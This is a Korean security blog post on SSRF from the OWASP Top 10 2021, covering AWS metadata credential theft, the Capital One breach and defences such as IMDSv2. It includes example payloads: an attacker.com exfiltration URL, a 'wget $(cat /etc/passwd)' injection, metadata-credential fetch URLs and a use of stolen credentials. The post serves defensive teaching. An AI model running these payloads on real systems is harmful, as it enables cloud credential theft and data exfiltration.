OWASP TOP 10 - 2021 에서 새롭게 추가된 SSRF( Server-Side Request Forgery ) 공격에 대해서 알아보겠습니다.
SSRF 취약점이 우리 조직에서도 발생할 수 있는 상황인지,
그리고 캐피탈원 해킹 사건을 인용하여 어떻게 사고가 발생됐는지 확인해보고
어떻게 방어 대응하여야 하는지 알아보도록 하겠습니다.
OWASP Web 10대 취약점 목록 - 2021
A1: Broken Access Control (취약한 접근제어)
A2: Cryptographic Failures (암호화 실패)
A3: Injection (인젝션)
A4: Insecure Design (안전하지 않은 설계)
A5: Security Misconfiguration (보안 설정 오류)
A6: Vulnerable and Outdated Components (취약하고 오래된 구성요소)
A7: Identification and Authentication Failures (식별 및 인증 실패)
A8: Software and Data Integrity Failures (소프트웨어와 데이터 무결성 실패)
A9: Security Logging and Monitoring Failure (보안 로깅 및 모니터링 실패)
A10: Server-Side Request Forgery, (SSRF 서버 측 요청 변조)
2021년 - 개정 사항
신규 추가
- Insecure Design(안전하지 않은 설계)
- Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
- Server-Side Request Forgery(서버 측 요청 변조)
병합
- XML External Entities(XXE)와 Cross-Site Scripting(XSS)는 Injection(인젝션)에
- Insecure Deserialization(안전하지 않은 역직렬화)은 Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)에 병합
SSRF 공격 Flow
취약한 서버(A)는 내부 서버(B)에 요청하고 -> B 서버는 A 서버를 신뢰하여 응답
A 서버는 해당 응답값을 공격자에게 반환
SSRF 공격 예시
🚀 SSRF 와 헷갈리기 쉬운 유사한 취약점들 🚀
※ URL 리다이렉션 vs SSRF 차이점
| 공격 기법 | 설명 | 주요대상 | 보안 위협 |
| SSRF (Server-Side Request Forgery) | 서버가 내부/외부 네트워크로 요청을 보내도록 속이는 공격 | 서버 | 내부망 접근, AWS 메타데이터 탈취, 데이터 유출 |
| URL 리다이렉션 (Open Redirect) | 사용자를 공격자가 제어하는 사이트로 리다이렉트 | 사용자 | 피싱, 세션 하이재킹, 악성 코드 감염 |
※ Command Injection vs SSRF 차이점
| 공격 기법 | 설명 | 예제 |
| Command Injection | 서버에서 쉘 명령어 실행을 유도 | wget $(cat /etc/passwd) |
| SSRF (Server-Side Request Forgery) | 서버가 특정 URL을 요청하도록 유도 | http://attacker.com/log?data=http://169.254.169.254/latest/meta-data/ |
※ SSTI vs SSRF 차이점
| 구분 | SSTI(템플릿 인젝션) | SSRF(서버사이드 요청 위조) |
| 공격 대상 | 서버의 템플릿 엔진 | 서버의 HTTP 요청 기능 |
| 원인 | 입력값이 템플릿 코드로 실행됨 | 입력값이 검증 없이 URL 요청에 사용됨 |
| 주요 영향 | 원격 코드 실행, 데이터 유출 | 내부망 스캔, 내부 서비스 접근, 데이터 유출 |
| 공격 방식 | 템플릿 엔진 코드 실행 | HTTP 요청 조작 |
| 방어 방법 | 입력값 필터링, 샌드박스 적용 | 허용 리스트 적용, 내부망 요청 차단 |
SSTI는 주로 코드 실행을 목표로 하고, SSRF는 서버의 네트워크 요청을 악용
※ SSI vs SSRF 차이점
| 구분 | SSI 취약점 | SSRF 취약점 |
| 발생 원인 | 서버 측 포함(Include) 기능의 입력 검증 부족 | 서버가 요청을 보낼 때 입력 검증 부족 |
| 공격 대상 | 서버 자체 | 서버가 접근할 수 있는 내부/외부 리소스 |
| 피해 유형 | 파일 읽기, 명령 실행 | 내부망 스캔, 클라우드 메타데이터 접근 등 |
| 대응 방법 | SSI 기능 비활성화, 입력 검증 강화 | 서버 요청 대상 제한, 허용 리스트 적용 |
- SSI는 서버 내에서 실행되는 명령어 삽입 취약점,
- SSRF는 서버를 이용해 내부 또는 외부 네트워크를 공격하는 취약점.
※ XXE vs SSRF 차이점
| 구분 | XXE 취약점 | SSRF 취약점 |
| 발생 원인 | XML 파서가 외부 엔티티를 허용 | 서버가 외부 요청을 허용 |
| 공격 대상 | 서버 자체 (파일, 내부망, 외부 요청) | 서버가 접근할 수 있는 내부/외부 리소스 |
| 피해 유형 | 파일 읽기, 내부망 스캔, SSRF 유발 가능 | 내부망 스캔, 클라우드 메타데이터 접근 등 |
| 유발 가능성 | XXE로 SSRF 공격 가능 | SSRF는 XXE를 직접 유발하지 않음 |
| 대응 방법 | 외부 엔티티 비활성화 (disable DOCTYPE), 안전한 파서 사용 | 요청 대상 제한 (허용 리스트), URL 검증 적용 |
- XXE는 XML 파서를 통한 파일 접근 및 SSRF 유발 가능
※ CSRF vs SSRF 차이점
| 구분 | CSRF 취약점 | SSRF 취약점 |
| 발생 원인 | 웹 서버가 클라이언트를 신용하여 발생 | 사용자 입력값 검증이 미흡하여 발생 |
| 공격 대상 | 웹서버 | 내부 서버 및 시스템 |
| 공격 목적 | 권한 도용, 권한 상승 등 공격자가 원하는 행위 수행 | 내부 서버 및 시스템 접근 후 중요 정보 유츨 |
| 공격 행위 | 서버에서 제공하는 기능을 페이지에 포함시킨 후 실행 유도 | 외부 서버에 자원을 요청하는 서비스에 변조된 요청을 전송하여 내부 서버로 요청을 보내도록 유도 |
🚨 왜 URL을 요청하면 크리덴셜을 보내줄까?😨
AWS 메타데이터 서비스와 IAM 크리덴셜
AWS 같은 클라우드 환경에서는 EC2 인스턴스가 실행될 때 IAM 역할(Role) 을 할당할 수 있음
이 역할(Role)은 특정 API 호출을 인증하는 데 필요한 IAM 크리덴셜(Access Key, Secret Key, Session Token) 을 제공함.
//IAM(Identity and Access Management)
AWS EC2 메타데이터 서비스 (IMDS, Instance Metadata Service)
- AWS는 EC2 인스턴스 내부에서 특정 메타데이터 정보를 조회할 수 있도록 메타데이터 서버를 운영함
- 이 메타데이터 서버의 주소는 고정되어 있음
- 여기에 접근하면 EC2 인스턴스의 정보(예: 퍼블릭 IP, 호스트 이름 등)를 얻을 수 있음
- 특히 IAM 역할(Role)이 설정된 경우, 아래 요청을 보내면 IAM 크리덴셜을 받을 수 있음
http://169.254.169.254/latest/meta-data/공격자가 크리덴셜을 가져오는 방식
1. AWS에서 실행 중인 EC2 인스턴스가 있다고 가정
2. EC2 인스턴스는 특정 IAM Role을 가지고 있음
3. IAM Role이 할당된 경우, 다음 URL을 요청하면 AWS가 자동으로 크리덴셜을 제공함
http://169.254.169.254/latest/meta-data/iam/security-credentials/ExampleRole
5. IAM Role 이름을 이용해 크리덴셜을 가져올 수 있음
http://169.254.169.254/latest/meta-data/iam/security-credentials/ExampleRole
→ 서버의 응답:
{
"Code": "Success",
"LastUpdated": "2025-03-20T00:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIAEXAMPLEKEY",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FQoGZXIvYXdzEK...",
"Expiration": "2025-03-20T06:00:00Z"
}
6. 공격자가 SSRF를 이용해 이 URL을 요청하면?
- AWS가 해당 인스턴스에서 실행 중인 서비스로 크리덴셜을 반환
- 공격자는 이 크리덴셜을 이용해 AWS API에 접근 가능
- 예를 들어, 공격자가 aws s3 ls --profile stolen-creds 명령을 실행해 S3 버킷을 확인할 수도 있음 😨
http://169.254.169.254/latest/meta-data/iam/security-credentials/
🚨 그래서 왜 AWS는 크리덴셜을 제공할까? 😨
AWS가 이런 메타데이터 서비스를 제공하는 이유는 EC2 인스턴스 내부에서 AWS 리소스에 안전하게 접근하기 위해서야.
IAM Role 기반의 크리덴셜은 자동으로 갱신되며, 특정 인스턴스에서만 유효하기 때문에, 보안적으로 더 안전한 방법이라고 볼 수 있음.
하지만, 웹 애플리케이션에서 SSRF 취약점이 존재하면, 이 크리덴셜이 공격자에게 노출될 위험이 있음! 🚨
✅ SSRF를 이용한 AWS 크리덴셜 탈취 예시
import requests
def fetch_url(url):
response = requests.get(url)
return response.text위 코드처럼 사용자가 입력한 URL을 그대로 요청하는 서비스가 있다고 가정해서
공격자가 아래와 같은 요청을 보내면?
http://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
1. 서버가 공격자가 제공한 URL을 요청
2. AWS 메타데이터 서버에서 IAM 크리덴셜이 응답으로 반환됨
3. 공격자는 이 크리덴셜을 이용해 AWS 리소스에 접근 가능 😱
✅ AWS의 SSRF 방어책: IMDSv2 (Instance Metadata Service v2)
AWS는 이러한 SSRF 공격을 막기 위해 IMDSv2(Instance Metadata Service Version 2)를 도입함.
- IMDSv2는 토큰 기반 인증을 추가하여, 단순한 HTTP 요청으로 메타데이터를 가져올 수 없도록 함.
- 보안 강화 방법
1. IMDSv2 사용 강제화
aws ec2 modify-instance-metadata-options --instance-id i-1234567890abcdef0 --http-tokens required
2. 내부 요청 차단
- 방화벽에서 169.254.169.254로의 요청을 차단
🔥 SSRF 취약점 요약
1. AWS는 EC2 인스턴스 내부에서 자동으로 IAM 크리덴셜을 제공하기 위해 메타데이터 서비스를 운영함
2. 하지만, SSRF 취약점이 있는 경우 공격자가 이 정보를 빼낼 수 있음
3. AWS는 이를 방어하기 위해 IMDSv2를 도입했으며, 개발자는 Allowlist 및 내부 요청 차단을 통해 추가 방어해야 함
💡 즉, SSRF + AWS 메타데이터 서비스(IMDS)를 악용하면 클라우드 크리덴셜 탈취가 가능함
🔥 SSRF 발생 원인 요약
AWS 와 같은 클라우드 환경에서는 EC2 인스턴스가 실행 될 때
IAM(Identity and Access Management) 역할을 할당 할 수 있으며,
해당 역할은 특정 API 호출을 인증하는데 필요한 크리덴셜을 제공함
AWS는 EC2 인스턴스 내부에서 특정 메타데이터 정보를 조회 할 수 있도록 메타데이터 서버를 운영함
메타데이터 주소에 접근하면 EC2 인스턴스의 정보(Public IP, Hostname 등)을 얻을 수 있음
IAM 역할이 설정된 경우, IAM 크리덴셜을 받을 수 있음
EC2 인스턴스 내부에서 AWS 리소스에 안전하게 접근하기 위해서 메타데이터 서비스를 제공
IAM Role 기반의 크리덴셜은 자동으로 갱신되고 특정 인스턴스에서만 사용 가능하기 때문에
보안적으로 안전한편.
그러나 SSRF 취약점이 존재하면 오히려 쉽게 크리덴셜 탈취가 가능
해당 URL을 서버에서 요청하면 IAM Role 을 알 수 있음
http://169.254.169.254/latest/meta-data/iam/security-credentials/
ExampleRole
IAM Role 이름을 사용해 크리덴셜을 가져 올 수 있음
http://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ExampleRole
AWS 환경의 공격 실습 - SSRF Pentest
2019년 캐피탈 원 고객정보 유출 사고 Flow
① 공격자는 카드 디자인 변경 페이지의 파일 업로드 기능을 통해 URL 매개변수 확인
② 공격 대상 서버가 AWS 클라우드의 저장소인 S3 버킷을 사용하고 있는 것을 확인
③ SSRF 공격을 통해 공격 대상 서버의 AWS 메타데이터 서비스 접근
④ 공격자는 공격 대상 서버의 AWS Access Key, IAM 등 자격 증명 획득
⑤ 공격자는 획득한 정보를 바탕으로 AWS CLI에 접근하여 내부 저장소(S3 버킷) 데이터 다운로드
내부 서버로 security-credentials 요청 시 웹서버의 인스턴스와 연관된 역할(ISRM-WAF-ROLE)을 반환
해당 역할(IAM Role)을 사용하여 EC2 인스턴스의 엑세스 토큰 요청
AWS CLI 를 사용하여 해당 토큰으로 S3 버킷(고객정보)을 다운로드
🔥 SSRF 공격 발생의 근본적인 원인
1. 해당 페이지 백엔드 소스코드를 보면 load 메서드는 Java의 HttpGet() 함수를 호출하여 이미지 파일을 검색
2. 불행히도 요청 매개변수 url 에 대한 입력 검증 검사가 수행되지 않아 HttpGet() 메서드를 통해 조작된 URL을 전송
AWS 내부에서 크리덴셜을 제공 하는 이유
AWS는 EC2 인스턴스 내부에서 특정 메타데이터 정보를 조회 할 수 있도록 메타데이터 서버를 운영함
메타데이터 주소에 접근하면 EC2 인스턴스의 정보(Public IP, Hostname 등)을 얻을 수 있음
IAM 역할이 설정된 경우, IAM 크리덴셜을 받을 수 있음
AWS 와 같은 클라우드 환경에서는 EC2 인스턴스가 실행 될 때, IAM(Identity and Access Management) 역할을 할당 할 수 있으며 해당 역할은 특정 API 호출을 인증하는데 필요한 크리덴셜을 제공함
EC2 인스턴스 내부에서 AWS 리소스에 접근하기 위해서 메타데이터 서비스를 제공
IAM Role 기반의 크리덴셜은 자동으로 갱신되고 특정 인스턴스에서만 사용 가능하기 때문에 보안적으로 안전
그러나 SSRF 취약점이 존재하면 오히려 쉽게 크리덴셜 탈취가 가능
✅ SSRF 대응 방법
1. IMDSv2 사용 강제화
AWS는 SSRF 공격을 막기 위해 IMDSv2(Instance Metadata Service Version 2)를 도입함
토큰 기반 인증 추가하여 단순 HTTP 요청으로 메타데이터를 응답하지 않도록 변경
2. 내부 요청 차단
방화벽에서 169.254.169.254 로의 요청을 차단
3. 안전하게 개발
백엔드 소스코드 검증, 화이트리스트 방식 필터 사용
'정보보안' 카테고리의 다른 글
| LLM DOS 공격 방어 (0) | 2025.04.29 |
|---|---|
| 정보보안 전문가가 대화해본 ChatGPT의 진짜 모습 (0) | 2025.04.09 |
| SQL Injection 공격 방어 (0) | 2025.03.20 |
| ISO/SAE 21434 기반 자동차 부품 제조사를 위한 사이버보안 위협 분석 및 위험 평가(TARA) 메뉴얼 요약 (0) | 2025.02.25 |
| 스마트선박 사이버보안 모델 및 가이드라인 요약 보고서 (0) | 2025.02.25 |
